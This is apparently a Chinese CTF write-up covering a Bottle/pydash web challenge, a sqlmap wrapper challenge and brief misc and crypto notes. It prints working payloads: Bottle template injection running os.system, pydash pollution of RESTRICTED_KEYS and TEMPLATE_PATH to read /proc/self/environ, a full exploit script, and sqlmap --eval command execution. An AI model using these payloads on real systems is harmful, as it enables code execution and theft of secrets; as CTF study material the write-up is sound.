放在最前面,laogong的wp

Web

ez_dash && ez_dash revenge复现

py
'''
Hints: Flag在环境变量中
'''
from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
'__code__', '__defaults__', '__delattr__', '__dict__',
'__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__get__', '__getattribute__',
'__gt__', '__hash__', '__init__', '__init_subclass__',
'__kwdefaults__', '__le__', '__lt__', '__module__',
'__name__', '__ne__', '__new__', '__qualname__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
"Optional","func","render",
]
__forbidden_name__=[
"bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))
# 这里会禁掉Python的所有内置函数

def setval(name:str, path:str, value:str)-> Optional[bool]:
if name.find("__")>=0: return False
for word in __forbidden_name__:
if name==word:
return False
for word in __forbidden_path__:
if path.find(word)>=0: return False
obj=globals()[name]
try:
pydash.set_(obj,path,value)
except:
return False
return True

@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path=bottle.request.json.get('path')
if not isinstance(path,str):
return "no"
if len(name)>6 or len(path)>32:
return "no"
value=bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
return "Hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

看前面的黑名单,预期解应该是打pydash原型链污染,但是没能参考上

非预期,打Bottle模板注入,上周GHCTF2025刚打过一次,但是过滤了{}.,可以绕一下os.system()
%开始可以嵌入python代码执行<%xxx%>是嵌入代码块,因为页面没有回显需要重定向,然后文件包含读取(一开始犯病了,想访问/render/1,应该是没有读取权限?然后才想起了include)

bash
/render?path=%getattr(__import__('os'), 'system')('env > 1')
/render?path=%include("1")

这里也可以通过/render路由渲染当前路径下的文件?path=1

赛后再来学一下怎么实现原型链污染

py
@bottle.get('/render')
def render_template():
path=bottle.request.query.get('path')
if len(path)>10:
return "hacker"
blacklist=["{","}",".","%","<",">","_"]
for c in path:
if c in blacklist:
return "hacker"
return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

这里修复了非预期,为了深入学习一下,参考深大爷Err0r233
我们本地是有下载bottle的,可以在vscode试着跟进源码看看bottle是怎么实现渲染的

具体原理得细读师傅的文章,这里直接提炼一下

bottle.template可以实现模板文件渲染,template的第一个参数tpl,如果含有\n、{、%、$的能够加入TEMPLATES[tplid],后续能够直接渲染它,否则会将其作为模板的名字,尝试寻找对应的模板文件渲染,而它会根据TEMPLATE_PATH里去找到
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH

这里因为过滤了{},无法直接渲染,我们只能通过污染TEMPLATE_PATH实现任意文件读

pydash.set_(obj,path,value)是可以修改对象属性

污染的效果是这样setval.__globals__.bottle.TEMPLATE=['/proc/self']

官方这样解释的pydash不允许去修改__globals__属性

pydash的版本是8.0.5(也可以通过非预期看一手),因此不能够直接通过__globals__去获得bottle,在pydash 5.1.2版本中能够使用__globals__,但是高版本下已经被修复了,现在会报access to restricted key __globals__,因此要想办法绕过restricted key

可以发现该异常只有输入在RESTRICTED_KEYS中的内容时才会触发:

py
#pydash.helpper
def _raise_if_restricted_key(key):
if key in RESTRICTED_KEYS:
raise KeyError(f"access to restricted key {key!r} is not allowed")

RESTRICTED_KEYS = ("__globals__", "__builtins__")

所以,可以通过pydash自己污染掉RESTRICTED_KEYS从而使用globals(这里是因为污染为空,就没有不允许修改__globals__的属性的限制了,之后就可以自己修改__globals__的属性了)

json
POST /setValue?name=pydash

{
"path":"helpers.RESTRICTED_KEYS",
"value":[]
}

然后再污染TEMPLATE_PATH/proc/self,我们即可通过/render?path=environ将环境变量渲染出来了

json
POST /setValue?name=setval
{
"path":"__globals__.bottle.TEMPLATE_PATH",
"value":["/proc/self"]
}
py
import requests

url = "http://39.106.16.204:20055/"
a1 = requests.post(url+"setValue?name=pydash",
json={"path": "helpers.RESTRICTED_KEYS", "value": []})

a2 = requests.post(url+"setValue?name=setval",
json={"path": "__globals__.bottle.TEMPLATE_PATH", "value": ["/proc/self"]})

a3 = requests.get(url+"render?path=environ")
print(a3.text)

sqlmap-master

py
from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocess

app = FastAPI()

@app.get("/")
async def index():
return FileResponse("index.html")

@app.post("/run")
async def run(request: Request):
data = await request.json()
url = data.get("url")

if not url:
return {"error": "URL is required"}

command = f'sqlmap -u {url} --batch --flush-session'

def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)

while True:
output = process.stdout.readline()
if output == '' and process.poll() is not None:
break
if output:
yield output

return StreamingResponse(generate(), media_type="text/plain")

关键在

py
command = f'sqlmap -u {url} --batch --flush-session'
def generate():
process = subprocess.Popen(
command.split(),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=False
)

shell=True参数会让subprocess.call接受字符串类型的变量作为命令,并调用shell去执行这个字符串,当shell=False是,subprocess.call只接受数组变量作为命令,并将数组的第一个元素作为命令,剩下的全部作为该命令的参数

所以这里不能拼接命令执行了,command.split(),只能利用sqlmap的参数
compose.yml告诉我们flag环境变量里面FLAG

emmmm,对sqlmap的参数不太了解,--file-read这些都不行
说实话,命令有点多,没翻到--eval

比赛结束后,找到一篇wp学习一下
主要用到了两个参数,还要绕空格(不然参数会被分割)

py
--eval:动态运行任意的 Python 代码
-c CONFIGFILE:从ini文件中加载选项
sql
127.0.0.1 --eval eval("__import__('os').system('echo$IFS$FLAG>>114514')")
127.0.0.1 -c 114514

说实话,真不了解,不愧是sqlmap-master

那既然如此,-c能把文件带出来,我们为什么不直接读环境变量呢
127.0.0.1 -c /proc/self/environ

诶,看了一下出题人的wp,这道题很明显是有回显的啊,可以直接执行env
127.0.0.1 --eval __import__('os').system('env')

Misc

QRcode Reconstruction

经典二维码修复

先自己涂上,然后把全部的纠错码擦掉

选择

然后开始嗯猜flag

NCTF{WeLc0mE_t0_Nctf_2024!!!}
直接一把出

Crypto

Sign()

这是恢复互联网的密钥,密码是实时生成的三万个随机数。

emmmmm,这密码真难看

一部分官方wp